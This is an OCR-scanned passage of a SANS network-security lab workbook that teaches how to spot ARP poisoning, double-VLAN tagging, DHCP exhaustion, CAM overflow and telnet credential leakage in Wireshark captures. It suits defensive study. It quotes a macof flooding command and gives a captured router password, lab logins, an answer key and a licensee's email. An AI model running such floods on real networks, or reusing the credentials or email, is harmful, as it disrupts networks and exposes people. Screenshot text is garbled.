67 14.948726 Vmware_3b:2.. Broadcast ARP 42 Who has 10.99.99.156? Tell 10.99.99.124

68 14.958908 Vmware_3b:2.. Broadcast ARP 42 Who has 10.99.99.212? Tell 10.99.99.124 N

69 14.969110 Vmware_3b:2.. Broadcast ARP 42 Who has 10.99.99.107? Tell 10.99.99.124

70 14.979377 Vmware_3b:2.. Broadcast ARP 42 Who has 10.99.99.224? Tell 10.99.99.124

71 14.989569 Vmware_3b:2.. Broadcast ARP 42 Who has 10.99.99.94? Tell 10.99.99.124

72 15.000042 Vmware_3b:2.. Broadcast ARP 42 wWho has 10.99.99.80? Tell 10.99.99.124

73 15.010263 Vmware_3b:2.. Broadcast ARP 42 Who has 10.99.99.102? Tell 10.99.99.124

74 15.020864 Vmware_3b:2.. Broadcast ARP 42 Who has 10.99.99.53? Tell 10.99.99.124

75 15.031240 Vmware_3b:2.. Broadcast ARP 42 Who has 10.99.99.131? Tell 10.99.99.124

76 15.041487 Vmware_3b:2.. Broadcast ARP 42 Who has 10.99.99.219? Tell 10.99.99.124

77 15.052050 Vmware_3b:2.. Broadcast ARP 42 Who has 10.99.99.243? Tell 10.99.99.124

78 15.062422 Vmware_3b:2.. Broadcast ARP 42 Who has 10.99.99.179? Tell 10.99.99.124

79 15.072724 Vmware_3b:2.. Broadcast ARP 42 Who has 10.99.99.144? Tell 10.99.99.124

80 15.083144 Vmware_3b:2.. Broadcast ARP 42 Who has 10.99.99.105? Tell 10.99.99.124 {

81 15.093621 Vmware_3b:2.. Broadcast ARP 42 Who has 10.99.99.157? Tell 10.99.99.124 [ v

» Frame 9: 60 bytes on wire (480 bits), 6@ bytes captured (480 bits)
» Ethernet II, Src: Apple_21:4e:9d (a8:60:b6:21:4e:9d), Dst: 00:2a:e3:cc:a2:2d (00:2a:e3:cc:a2:2d)
» Address Resolution Protocol (reply)
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Enter the following display filter to show ARP traffic only: arp

Let's focus on ARP replies. Scroll to the bottom and click on the final displayed packet (number 591). Notice
the yellow-highlighted message: "Duplicate IP address detected for 10.99.99.1
(00:0c:29:3b:2f:6a) - also in use by 00:2a:e3:cc:a2:2d (frame 590)"

/ 2.pcap - + X
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
— - S — rEE

Am i © =R Qes=g e Faaar
N |arp [X] ~ | Expression...  +
No. Time Source Destination Protocol Lengtt Info =

535 95.839933 Vmware_3b:2.. Netgear_37:.. ARP 42 10.99.99.1 is at 00:0c:29:3b:2f:6a

537 98.169102 Vmware_3b:2.. GoodwWayI_20.. ARP 42 Who has 10.99.99.249? Tell 10.99.99.124

538 98.169601 GoodwWayI_20.. Vmware_3b:2.. ARP 60 10.99.99.249 is at 00:50:b6:20:79:ff

544 98.693635 Vmware_3b:2.. Broadcast ARP 42 Who has 10.99.99.167? Tell 10.99.99.124

545 98.695604 8c:16:45:28.. Vmware_3b:2.. ARP 60 10.99.99.167 is at 8c:16:45:28:99:55

582 105.850350 Vmware_3b:2.. 00:2a:e3:cc.. ARP 42 10.99.99.249 is at 00:0c:29:3b:2f:6a

583 105.850450 Vmware_3b:2.. GoodwWayI_20.. ARP 42 10.99.99.1 is at 00:0c:29:3b:2f:6a

584 105.860562 Vmware_3b:2.. 00:2a:e3:cc.. ARP 42 10.99.99.222 is at 00:0c:29:3b:2f:6a

585 105.860649 Vmware_3b:2.. Cisco_bb:1e.. ARP 42 10.99.99.1 is at 00:0c:29:3b:2f:6a

586 105.870799 Vmware_3b:2.. 00:2a:e3:cc.. ARP 42 10.99.99.167 is at 00:0c:29:3b:2f:6a

587 105.870864 Vmware_3b:2.. 8c:16:45:28.. ARP 42 10.99.99.1 is at 00:0c:29:3b:2f:6a

588 105.880996 Vmware_3b:2.. 00:2a:e3:cc.. ARP 42 10.99.99.141 is at 00:0c:29:3b:2f:6a

589 105.881177 Vmware_3b:2.. Apple_21:4e.. ARP 42 10.99.99.1 is at 00:0c:29:3b:2f:6a
. 590 105.891402 Vmware_3b:2.. 00:2a:e3:cc.. ARP 42 10.99.99.120 is at 00:0c:29:3b:2f:6a

12.. Netgear_37:.. ARP .99.99.1 is at 00:0c:29:3b:2f:6a

» Frame 591: 42 bytes on wire (336 bits), 42 bytes captured (336 bits)
» Ethernet II, Src: Vmware_3b:2f:6a (00:0c:29:3b:2f:6a), Dst: Netgear_37:19:al (b©:7f:b9:37:19:a1)
» [Duplicate IP address detected for 10.99.99.1 (00:0c:29:3b:2f:6a) - also in use by 00:2a:e3:cc:a2:2d (frame 590)]
» Address Resolution Protocol (reply)

Frame 591 shows "10.99.99.1 is at 00:0c:29:3b:2f:6a", and (as noted in the screenshot
above), and frame 590 shows "10.99.99.120 is at 00:0c:29:3b:2f:6a" (different IP, same MAC
address). There are many other ARP replies (for a variety of IP addresses) listing the same MAC address.

MAC addresses are designed to be globally unique, so this is not normal.

This means this PCAP file matches "ARP Cache Poisoning" row of the worksheet. The related question is: there
are many ARP replies for various IP addresses, all pointing to one MAC address. What is that MAC address?

Enter the following in the worksheet row titled "ARP Cache Poisoning"
e Packet Number: 2
e Answer to related question: 00:0c:29:3b:2f:6a

3.pcap:

Note: this may be the most challenging PCAP file, depending on your background. You may want to skip this
one (for now) and come back when you have identified the other five PCAP files. That will help you deduce
this attack via the process of elimination. That is the method a course tester used to identify this PCAP file.
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First, filter out IPv6 and TCP port 443 traffic (the hints section mentioned that IPv6 and/or SSL/TLS was not
used in any of the attacks). Enter the following display filter: not ipv6é and not tcp.port==443

- 3.pcap = XV
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

- Rz = |
Adm e N RE Qe==3 8 — B QQ QiF
Illnot ipv6 and not tcp.port==443 =d '] Expression..  +
No. Time Source Destination Protocol Lengtl Info =
1 0.000000 10.99.99. 239.255.255.. SSDP 143 M-SEARCH * HTTP/1.1
i 2 1.215724 00:2a:e3:cc.. Apple_21:4e.. ARP 60 Who has 10.99.99.141? Tell 10.99.99.1
! 3 1.215741 Apple_21:4e.. 00:2a:e3:cc.. ARP 60 10.99.99.141 is at aB8:60:b6:21:4e:9d
+ 4 2.999236 10.99.99.249 239.255.255.. SSDP 143 M-SEARCH * HTTP/1.1
i 11 5.368226 10.99.99.167 224.0.0.252 LLMNR 75 Standard query ©x2317 ANY LAPTOP-BLHMNC20 =
! 13 5.769657 10.99.99.167 224.0.0.252 LLMNR 75 Standard query ©x2317 ANY LAPTOP-BLHMNC20
15 5.999089 10.99.99.249 239.255.255.. SSDP 143 M-SEARCH * HTTP/1.1
16 6.308721 10.99.99.249 239.255.255.. SSDP 179 M-SEARCH * HTTP/1.1
i 20 6.827977 10.99.99.249 10.99.99.255 BROWSER 252 Domain/Workgroup Announcement WORKGROUP, NT Wor..
! 21 7.341700 10.99.99.124 255.255.255.. ICMP 50 Echo (ping) request 1id=0x0000, seq=0/0, ttl=64..
! 31 9.153288 10.99.99.141 255.255.255.. DB-LSP.. 236 Dropbox LAN sync Discovery Protocol
! 32 9.153680 10.99.99.141 10.99.99.255 DB-LSP.. 236 Dropbox LAN sync Discovery Protocol
: 33 9.217089 10.99.99.124 255.255.255.. ICMP 50 Echo (ping) request 1d=0x0000, seq=0/0, ttl=64..
34 9.296402 10.99.99.249 239.255.255.. SSDP 179 M-SEARCH * HTTP/1.1
35 10.030857 10.99.99.249 239.255.255.. SSDP 143 M-SEARCH * HTTP/1.1 v

» Frame 1: 143 bytes on wire (1144 bits), 143 bytes captured (1144 bits)
» Ethernet II, Src: GoodWayI 20:f9:ff (00:50:b6:20:f9:ff), Dst: IPv4dmcast_7f:ff:fa (01:00:5e:7f:ff:fa)
» Internet Protocol Version 4, Src: 10.99.99.249, Dst: 239.255.255.250

m Protocol -

There are 31 displayed packets. You may scroll through and look for any packets referencing "802.1Q Virtual
LAN..." in the packet summary pane (it will have a small triangle to the left).

If you don't see the tagged packets, here's an easier method. Enter this display filter: vlan

- 3.pcap - X
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Z 1 [ A S= — |I§ 3
Am i W RE QesxEs § - B Q Q QT
‘W | vian =3 '] Expression..  +
No. Time Source Destination Protocol Lengtl Info
21 7.341700 10.99.99.124 255.255.255.. ICMP 50 Echo (ping) request 1id=0x0000, ttl=64 (no re..
33 9.217089 10.99.99.124 255.255.255.. ICMP 50 Echo (ping) request 1d=0x0000, seq=0/0, ttl=64 (no re..
41 10.945196 10.99.99.124 255.255.255.. ICMP 50 Echo (ping) request 1id=0x0000, seq=0/0, ttl=64 (no re..
62 12.509144 10.99.99.124 255.255.255.. ICMP 50 Echo (ping) request 1id=0x0000, seq=0/0, ttl=64 (no re..

Frame 21: 50 bytes on wire (400 bits), 50 bytes captured (400 bits) |
» Ethernet II, Src: Cisco_ed:7a:f@ (00:17:5a:ed:7a:f0), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
» 802.1Q Virtual LAN, PRI: ©, CFI: O, ID: 1
» 802.1Q Virtual LAN, PRI: ©, CFI: 0, ID: 530
» Internet Protocol Version 4, Src: 10.99.99.124, Dst: 255.255.255.255
» Internet Control Message Protocol
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Double-VLAN tagging occurs when a malicious system acts as another switch and sends 802.1Q-double-tagged
frames to the switch it is connected to.

e First tag: system's actual VLAN

e Second target: destination VLAN

10.99.99.124 has sent double-tagged VLAN-tagged traffic (Wireshark will show tags for VLANS 1 and 530),
matching this PCAP file to the "Double-VLAN tagging" row of the worksheet. The related question is: What are
the two VLAN IDs in each double-tagged packet?

Enter the following in the worksheet row titled "Double-VLAN tagging"
o Packet Number: 3
e Answer to related question: VLANs 1 and 530

4.pcap:

First scroll to the bottom of the packets and note the time. Wireshark's "Time" column shows the relative time
(in seconds) when each packet was captured. Packet number 0 shows time "0.000000". The final packet shows
time " 383.123775". That is over 6 minutes.

M 4.pcap e
File Edit View Go (Capture Analyze Statistics Telephony Wireless Tools Help

Am @ BNRE QexsE=g 8- H aQqarir

n t L=d ~| Expression.. +
No. Time Source Destination Protocol Lengtt Info —
5359 383.042701 10.99.99.124 255.255.255.. DHCP 342 DHCP Discover - Transaction ID ©x79325355
5360 383.043644 00:2a:e3:cc.. Broadcast ARP 60 Who has 10.99.99.130? Tell 10.99.99.1
5361 383.059097 00:2a:e3:cc.. Broadcast ARP 60 Who has 10.99.99.191? Tell 10.99.99.1
5362 383.122461 10.99.99.124 255.255.255.. DHCP 342 DHCP Discover - Transaction ID ©x5ediaa59
£ Broadcast .99.138? .

» Frame 5363: 60 bytes on wire (480 bits), 60 bytes captured (480 bits)
» Ethernet II, Src: 00:2a:e3:cc:a2:2d (00:2a:e3:cc:a2:2d), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
» Address Resolution Protocol (request)

The time is important when judging the volume of DHCP traffic contained in this PCAP file.
Enter the following display filter: bootp

As previously noted, DHCP is an extension of the Boot Protocol, so "bootp" will filter both BOOTP and DHCP
traffic.
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Note the "Packets" (total packets) and "Displayed" (filtered packets currently shown) totals, listed at the
bottom of the Wireshark window (on the right).

@ 7 Bootstrap Protocol: Protocol

~ Frame 5362: 342 bytes on wire (2736 bits), 342 bytes captured (2736 bits)

Packets: 5363 - Displayed: 2582 (48.1%) - Load time: 0:0.44

» Ethernet II, Src: Vmware_3b:2f:6a (00:0c:29:3b:2f:6a), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
» Internet Protocol Version 4, Src: 10.99.99.124, Dst: 255.255.255.255
» User Datagram Protocol, Src Port: 68, Dst Port: 67
» Bootstrap Protocol (Discover)

Profile: Default

- 4.pcap = X
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
- _— e BE A & = T
Ami@ =MNRR QesEge . Faaaqr
M | bootp [X] ~| Expression..  +
No. Time Source Destination Protocol Lengtl Info E
24 6.775365 10.99.99.124 255.255.255.. DHCP 342 DHCP Discover - Transaction ID ©xb2c2ifef
26 6.882435 10.99.99.124 255.255.255.. DHCP 342 DHCP Discover - Transaction ID ©x1b4c02e6
28 6.985801 10.99.99.124 255.255.255.. DHCP 342 DHCP Discover - Transaction ID ©x8f8a79bf
30 7.093997 10.99.99.124 255.255.255.. DHCP 342 DHCP Discover - Transaction ID ©x2f2283d7
32 7.198494 10.99.99.124 255.255.255.. DHCP 342 DHCP Discover - Transaction ID ©x7fa8ccbd
35 7.327454 10.99.99.124 255.255.255.. DHCP 342 DHCP Discover - Transaction ID 0x84c72752 |~

While other packets may contain DHCP traffic, this one contains 2582 DHCP packets (out of 5363 total). This is
a high amount of DHCP traffic in 6 minutes.

Scroll through the DHCP packets. You will see thousands of "DHCP Discovery" (request) packets sent from
10.99.99.124, and hundreds of "DHCP Offer" (response) packets from 10.99.99.1 (which is the DHCP server).

10.99.99.124 has sent thousands of DHCP requests in minutes, matching this PCAP file to the " DHCP
Exhaustion" row of the worksheet. The related question is: What is the IP address of the client that launched

this attack?

Enter the following in the worksheet row titled "DHCP Exhaustion '

e Packet Number: 4

e Answer to related question: 10.99.99.124
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5.pcap:

This pcap is quite strange:

v 5.pcap - + X

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

4 [ = . a N BT T a —
Am 1@ MR QesE=g 8 — H aQQqaqrwF
R | Apply a display filter ... <cerl-> =3 ~| Expression.. +
No. Time Source Destination Protocol Lengtt Info =
0.000000 9 68 08 9 68 08 DB 6 Dropbo A D ove Protoco

2 1.886207 192.168.198.. 24.39.21.196 SSL 137 Continuation Data

3 1.886609 24.39.21.196 192.168.198.. TCP 60 443 —~ 54368 [ACK] Seq=1 Ack=84 Win=64240 Len=0

4 1.888801 24.39.21.196 192.168.198.. SSL 137 Continuation Data

5 1.930611 192.168.198.. 24.39.21.196 TCP 54 54368 —~ 443 [ACK] Seq=84 Ack=84 Win=64240 Len=0

6 3.590155 163.21.59.78 137.133.199.. IPv4 60

8 3.590312 99.148.59.25 68.180.158... IPv4 60

9 3.590383 27.91.154.45 129.55.91.79 IPv4 60

12 3.590486 28.140.16.67 42.209.216... IPv4 60

» Frame 1: 236 bytes on wire (1888 bits), 236 bytes captured (1888 bits)

» Ethernet II, Src: Vmware_c0:00:08 (00:50:56:c0:00:08), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
» Internet Protocol Version 4, Src: 192.168.198.1, Dst: 192.168.198.255

» User Datagram Protocol, Src Port: 17500, Dst Port: 17500

» Dropbox LAN sync Discovery Protocol

Scroll to the bottom: there are tens of thousands of packets that appear to contain no IP data (such as TCP or
UDP data). The source and destination addresses appear to be random. The IP addresses also include unusual
network blocks, such as Class E addresses (originally "experimental”, but now considered reserved).

Note packet 11. Enter the display filter "frame . number == 11" or simply scroll down to it.

v 5.pcap
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AW ©® B RRE Qe=sEg § —

Il
Jo
Jo
)0

! frame.number == 11 A X|=>1d":
No. Time Source Destination Protocol Lengtl Info
11 3.590471 247.95.82.1.. 33.214.1.0 IPv4 60

The source IP address is: 247.95.82.104, which is class E (IP addresses from 240.0.0.0/8 through 255.0.0.0/8).

Let's look at the MAC addresses of the IP traffic with no layer 4 payload. There is a handy Wireshark feature
called "add column" that will let us seem them easily. Clear any display filter search (by pressing the "X" to the
right of the display filter). Then select any packet that contains no layer 4 payload (these are shown with a
white background color by Wireshark).
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Then click on the triangle to the left of "Ethernet Il ..."
and choose "Apply as Column"

"Destination: ..."

in the packet details pane. Right-click on the line labeled

v

File  Edit

Al @ =

View Go Capture

Expand Subtrees
Expand All

Shift+Right
Ctrl+Right
Ctri+Left

Collapse All

& alE

Destination: bd:41:c6

Type: IPv4 (0x0800)

166:6d:05 (bd:41:c6:66:6d:05)

Address: bd:41:c6:66:6d:05 (bd:41:c6:66:6d:05)
siais e el ateeisl Femtaia o = LG bit: Globally unique address (factory default)
........ = IG bit: Group address (multicast/broadcast)
v Source: 00:af:1c:5d:2e:9c (00:af:1c:5d:2e:9c)

Address: 00:af:1c:5d:2e:9c (00:af:1c:5d:2e:9c)

5550 00 56 000T GOGE = LG bit: Globally unique address (factory default)
= IG bit: Individual address (unicast)

4

Apply as Column
B ] Apply a display filter ... <Ctrl-/> | ion..
. S— . | Apply as Filter »
No. v Time Source Destination Protocol i
1 0.000000 102.168.198.. 192.168.198. DB-LSP..|  FrepareafFilter ‘B
2 1.886207 192.168.198.. 24.39.21.196 SSL Conversation Filter »
3 1.886609 24.39.21.196 192.168.198.. TCP Colorize with Filter .IO Len..
4 1.888801 24.39.21.196 192.168.198.. SSL
5 1.930611 192.168.198.. 24.39.21.196 TCP Follow » 140 Le..
6 3.590155 163.21.59.78 137.133.199.. IPv4
Copy »
8 3.590312 99.148.59.25 68.180.158... IPv4
9 3.500383 27.91.154.45 129.55.91.79 IPv4 et By
Export Packet Bytes... Ctrl+H
11 3.590471 247.95.82.1.. 33.214.1.0 IPv4 —
12 3.590486 28.140.16.67 42.209.216... IPv4 Wiki Protocol Page
Filter Field Reference
Protocol Preferences ’
3 Decode As...
» Frame 11: 60 bytes on wire (480 bits), 60 bytes captu -
v Ethernet II, Src: 00:af:1c:5d:2e:9c (00:af:1c:5d:2e:9 Go to Linked Packet

New Window

Show Linked Packet'i

Padding: cb4f12610280ef740000000050020200719T000000000000. . .
» Internet Protocol Version 4, Src: 247.95.82.104, Dst: 33.214.1.0

There will now be a col
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- 5.pcap - + X
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

1 ® =R =3 8~ B
Am @ mMR0O QessEFE . B QQQTfF
||]Aupyadmphyﬂ:e' Ctrl-r> -5 | ']Expnsﬂonm +
No. v Time Source Destination Protocol Lengtl Destination Info
1 0.000000 192.168.198.. 192.168.198.. DB-LSP.. 236 ff:ff:ff:ff:ff:ff Dropbox LAN sync Discovery Protocol
2 1.886207 192.168.198.. 24.39.21.196 SSL 137 00:50:56:70:72:30 Continuation Data
3 1.886609 24.39.21.196 192.168.198.. TCP 60 00:0c:29:2a:92:a1 443 — 54368 [ACK] Seq=1 Ack=84 Win=
4 1.888801 24.39.21.196 192.168.198.. SSL 137 00:0c:29:2a:92:a1 Continuation Data
5 1.930611 192.168.198.. 24.39.21.196 TCP 54 00:50:56:70:72:30 54368 ~ 443 [ACK] Seq=84 Ack=84 Win
6 3.590155 163.21.59.78 137.133.199.. IPv4 60 50:ed:68:47:9e:bb
8 3.590312 99.148.59.25 68.180.158... IPv4 60 e6:42:69:36:1b:2c
9 3.590383 27.91.154.45 129.55.91.79 IPv4 60 de:21:20:01:8:48

.590471 247.95.82.1.. 33.214.1.0

12 3.590486 28.140.16.67 42.209.216... IPv4 60 Ge:76:3e:4c:ad:a7

» Frame 11: 60 bytes on wire (480 bits), 60 bytes captured (480 bits)
v Ethernet II, Src: 00:af:1c:5d:2e:9c (0@:af:1c:5d:2e:9c), Dst: bd:41:c6:66:6d:05 (bd:41:c6:66:6d:05)
De atlo Dd: 4 6:66:6d:0 Dd:4 0:00:00:0
Address: bd:41:c6:66:6d:05 (bd:41:c6:66:6d:05)
veew +u®. ... .iu. vv.. .... = LG bit: Globally unique address (factory default)
....... 1.... .... «... .... = IG bit: Group address (multicast/broadcast)
v Source: 00:af:1c:5d:2e:9c (00:af:1c:5d:2e:9c)
Address: 00:af:1c:5d:2e:9c (00:af:1c:5d:2e:9c)
veee +u®. .i.. suut wv.. .... = LG bit: Globally unique address (factory default)
....... O .... .... «... .... = IG bit: Individual address (unicast)
Type: IPv4 (0x0800)
Padding: cb4f12610280ef740000000050020200719f000000000000. . .
» Internet Protocol Version 4, Src: 247.95.82.104, Dst: 33.214.1.0

(O 7 Destination Hardware Address (eth.dst), 6 bytes  Packets: 50000 - Digplg}éd: 50000 (100.0%) - Load time: 0:0.153  Profile: Default |

Scroll through the packets, noting the destination MAC addresses of the IP traffic with no IP payload data.
Note that the display filter "ip.len == 20" will show these packets. An IP header is normally 20 bytes,
and "ip. len" selects the total IP bytes (including the payload). An IP length of 20 bytes means the packet
has no IP data.

The MAC addresses also appear to be randomly generated, just like the IP addresses.
Remember the "CAM Overflow" slide from the previous lecture:

o Tools such as macof (part of dsniff) can flood a network with randomly-generated MAC addresses,
potentially filling the CAM table.
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The lecture showed this screenshot of a CAM table overflow attack using dniff's macof tool:

v Terminal - root@Security530: ~ (on Security530) - + X
File Edit View Terminal Tabs Help

[~]# macof -i ethO

44:d2:8b:7:6d:f5 ff:bl:7d:39:7b:cf 0.0.0.0.6511 > 0. .0.12286: S 1312760240:1312760240(0) win 512
66:16:3d:33:50:4c 6e:fe:26:28:be:d7 0.0.0.0.20496 > .0.0.21232: S 955229193:955229193(0) win 512
a6:e5:2e:52:13:8 15:18:f5:40:b8:18 0.0.0.0.13017 > 0.0.0.0.61186: S 1074534677:1074534677(0) win 512
91:f5:60:79:f1:32 8a:ca:be:6c:6e:da 0.0.0.0.47914 > 0.0.0.0.39900: S 1761053941:1761053941(0) win 512
90:ad:1c:3:8f:bf 5d:b5:d:42:41:d7 0.0.0.0.41797 > 0.0.0.0.26463: S 1769455687:1769455687(0) win 512
2:76:79:14:93:el1 11:46:41:42:86:e3 0.0.0.0.63832 > 0.0.0.0.11557: S 307202297:307202297(0) win 512
3f:bl:c0:3d:3a:8a cd:d9:9e:2b:49:a6 0.0.0.0.27704 > 0.0.0.0.8148: S 1782757747:1782757747(0) win 512
8c:9c:61:2e:62:d4 e5:62:d0:3e:58:¢c2 0.0.0.0.6439 > 0.0.0.0.52970: S 810872848:810872848(0) win 512
29:f6:ff:58:e0:aa d3:54:a6:4f:7b:57 0.0.0.0.961 > 0.0.0.0.1984: S 2034225835:2034225835(0) win 512
fc:b7:3e:22:ea:ba 83:e2:c0:46:a6:df 0.0.0.0.26496 > 0.0.0.0.19821: S 1420351768:1420351768(0) win 512

This means this PCAP file matches "CAM Overflow" row of the worksheet. The related question is: what is the
length of each IP packet (length of the IP header plus any IP data) sent as part of this attack?

[oNo]
(oo

Enter the following in the worksheet row titled "CAM Overflow "
e Packet Number: 5
e Answer to related question: 20 bytes

Note that you may remove the "Destination" MAC address column by right-clicking on the column name, and
choosing "Remove This Column":

v 5.pcap
File Edit View Go (Capture Analyze Statistics Telephony Wireless Tools Help
(D) e [ O¢ . S W & &
Amie SRR Qes=F & ol el ol iz
R | Apply a display filter ... <Ctrl- M
No. v Time Source Destination Protocol Lengtl Destination Ali r;L'eft
1 0.000000 192.168.198.. 192.168.198.. DB-LSP.. 236 ff:fr:ff:ff .g bvery Proto
2 1.886207 192.168.198.. 24.39.21.196 SSL 137 GG:SO:SS:fG; Align Center ‘
3 1.886609 24.39.21.196 192.168.198.. TCP 60 00:0c:29:2a Align Right =1 Ack=84 W
4 1.888801 24.39.21.196 192.168.198.. SSL 137 99:9C1292231
5 1.930611 192.168.198.. 24.39.21.196 TCP 54 00:50:56:T0  Cojumn Preferences... =84 Ack=84
6 3.590155 163.21.59.78 137.133.199.. IPv4 60 50:ed:68:47 )
3 Edit Column
8 3.590312 99.148.59.25 68.180.158... IPv4 60 €6:42:69:36|  Resize To Contents
9 3.590383 27.91.154.45 129.55.91.79 IPv4 60 de:21:20:01 h .
y Ive Names
NG |
v Time
| v source
il v Destination
» Frame 11: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) | v Protoco
» Ethernet II, Src: 00:af:1c:5d:2e:9c (©0:af:1c:5d:2e:9c), Dst: bd:41:c6: v Length
v Internet Protocol Version 4, Src: 247.95.82.104, Dst: 33.214.1.0 )
0100 .... = Version: 4 v Destination
. 9101 = Header Length: 20 bytes (5) v Info
» Differentiated Services Field: ©x00 (DSCP: CS@, ECN: Not-ECT)
Total Length: 20 Remove This Column
Identification: Oxf535 (62773)
> Flags: 0x00
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6.pcap:

Open the PCAP file:

[ - 6.pcap - X-
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

O SMRE Qes=EF §

R | Apply a display filter ... <Ctrl-/> [
No. Time Source Destination Protocol Lengtl Info
[ 1 0.000000 10.8.0.6 10.5.30.10 TCP 60 38338 -~ 23 [SYN] Seq=0 Win=29200 Len=0 MSS=.. L
3 0.016829 10.8.0.6 10.5.30.106 TCP 40 38338 ~ 23 [ACK] Seq=1 Ack=1 Win=29200 Len=0
4 0.017293 10.8.0.6 10.5.30.10 TELNET 67 Telnet Data ...
5 0.032484 10.5.30.10 10.8.0.6 TELNET 52 Telnet Data ...
6 0.032501 10.8.0.6 10.5.30.10 TCP 40 38338 — 23 [ACK] Seq=28 Ack=13 Win=29200 Le..
7 0.034276 10.5.30.10 10.8.0.6 TELNET 80 Telnet Data ..
8 0.034301 10.8.0.6 10.5.30.10 TCP 40 38338 — 23 [ACK] Seq=28 Ack=53 Win=29200 Le..
9 0.048876 10.5.30.10 10.8.0.6 TELNET 46 Telnet Data ...
10 0.048903 10.8.0.6 10.5.30.10  TELNET 52 Telnet Data ...
11 0.050647 10.5.30.10 10.8.0.6 TELNET 43 Telnet Data ...
12 0.050669 10.5.30.10 10.8.0.6 TELNET 43 Telnet Data ...
13 0.050677 10.5.30.10 10.8.0.6 TELNET 46 Telnet Data ...
14 0.050685 10.5.30.10 10.8.0.6 TELNET 43 Telnet Data ...
15 0.050692 10.5.30.10 10.8.0.6 TELNET 43 Telnet Data ...
16 0.050699 10.5.30.10 10.8.0.6 TELNET 43 Telnet Data ... v
» Frame 1: 60 bytes on wire (480 bits), 60 bytes captured (480 bits)
Raw packet data
» Internet Protocol Version 4, Src: 10.8.0.6, Dst: 10.5.30.10

We see lots of telnet traffic. Right-click on any packet showing "Telnet" in the "Protocol" field, and choose
"Follow -> TCP Stream..."
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> 6.pcap - + X
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Ami@© =R QesEs § - H Q

R | Apply a display filter ... <Ctrl-/> [ = IR

No. Source Destination Protocol Lengtl Info
3 0. .8.0. .5.30. 40 38338 ~ 23 [ACK] Seg=1 Ack=1 Win=29200 Len=0
4 0.017293 10.8.0. .5.30.10  TELNET 67 Telnet Data ...
5 0.032484 10.5.30. 10.8.0.6 TE Marijnmark Packet Ctrl+M
6 0.032501 10.8.0.6 10.5.30.10  TCP : Win=29200 Le..
7 0.034276 10.5.30.10  10.8.0.6 Ignore/Unignore Packet CrhD
8 0.034301 10.8.0.6 10.5.30.10 Set/Unset Time Reference Ctrl+T Win=29200 Le..
9 0.048876 10.5.30.10 10.8.0.6 . ;
10 0.048903 10.8.0.6  10.5.30.10 RresHits T
11 0.050647 10.5.30.10 10.8.0.6 TE Packet Comment... Ctrl+Alt+C
12 0.050669 10.5.30.10 10.8.0.6 TE!
13 0.050677 10.5.30.10 10.8.0.6 TE Edit Resolved Name
14 0.050685 10.5.30.10 10.8.0.6 TE
15 0.050692 10.5.30.10 10.8.0.6 TE! Apply as Filter 4
16 0.050699 10.5.30.10 10.8.0.6 TE! - ]
= Prepare a Filter ol
» Frame 4: 67 bytes on wire (536 bits), 67 bytes caf . ... . oo ,
Raw packet data ) )
» Internet Protocol Version 4, Src: 10.8.0.6, Dst: Colorize Conversation 2
» Transmission Control Protocol, Src Port: 38338, [ SCTP »
» Telnet
Follow ’ TCP Stream
UDP Stream
Copy »
SSL Stream
| Protocol Preferences ’ HTTP Stream
| Decode As...
Show Packet in New Window
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We see an interactive telnet session:

v Wireshark - Follow TCP Stream (tcp.stream eq 0) - 6 - + X |

1 " 1 =
.................................

Username: ............. Mooocco ac leotmeooe oo nanne #....xterm..cciissccoo
ﬁassword: ROuterGOd!

ﬁouteri@#sshh rruunn

éuilding configuration...

Current configuration : 1871 bytes
|

i Last configuration change at 11:57:00 UTC Tue Mar 13 2018
1

Qersion 11574

service timestamps debug datetime msec
service timestamps log datetime msec

I

hostname Router1@

I

boot-start-marker

boot-end-marker

I

I

!

no aaa new-model

no ip icmp rate-limit unreachable

ip cef
48 client pkts, 49 server pkts, 71 turns.
[Entire conversation (2552 bytes) = Show and save data as | ASCII | Stream E:]
Find: | |
[ Help | | Filter Out This Stream | | Print | | Saveas.. || Back | | Close J

Wireshark shows client traffic in red, and server traffic in blue. Note the mixed color "ciissccoo", alternating
red and blue. That means the client typed a "c" (shown in red"), and the server echoed the "c" back (shown in
blue). This means the username is "cisco".

The password is "ROuterG0d!", shown in red only. This is because the server does not echo the password back.

This means this PCAP file matches "Telnet (information leakage)" row of the worksheet. The related question
is: what is the username and password of the (interactive) telnet user?

Enter the following in the worksheet row titled "Telnet (information leakage)"
e Packet Number: 6
e Answer to related question: user: cisco, password: ROuterG0Od!
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Worksheet Answers

Attack Type or PCAP Number | Answer to Related Question
Security Issue

CAM Overflow 5 20 bytes

DHCP Exhaustion 4 10.99.99.124

Telnet 6
(information
leakage)

user cisco, password: ROuterGOd!

Double-VLAN 3
tagging

VLANs 1 and 530

CDP (Information |1
Leakage)

Version 15.2(4)S5

ARP Cache 2
Poisoning

00:0c:29:3b:2f:6a

Sec530 - © 2019 Eric Conrad and Justin Henderson

Licensed To: Martin Brown <hermespaul56@gmail_com> May 17, 2020

Exercise 1-2

Exercise-1-2-18




Exercise 1.3 — Architecting for Flow Data

Objectives

Understand the differences between flow data sources

Architect the proper position and use of various flow data sources
Identify anomalies using flow data

Remove duplicate flow data through analysis and decision making
Understand the value of flow data

Exercise Preparation

Log into the Sec-530 VM
e Username: student
e Password: Security530

Terminal Google Chrome

Before beginning this lab, you will need to start an Elastic Stack containing pre-ingested flow data. To start the
Elastic Stack, run the command below.

$ sudo pwsh /labs/check.psl -check precheck -lab 1.3

This lab requires you to open a browser and access http://localhost:5601. Then click on Dashboard.

SEC530 - SANS ©2019 Exercise 3.1 - Proxy Power Exercise-3.1-1
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€ > C 1t K localhost:5601

i=° Apps For quick access, place you

marks here on the book

‘ kibana

@ Discover

lﬂ Visualize

@ Dashboard

Then click on the dashboard labeled Flow Data.

Discover

Search...
Visualize
Dashboard Name
Timelion Flow Data
SEC530 - SANS ©2019 Exercise 3.1 - Proxy Power Exercise-3.1-2
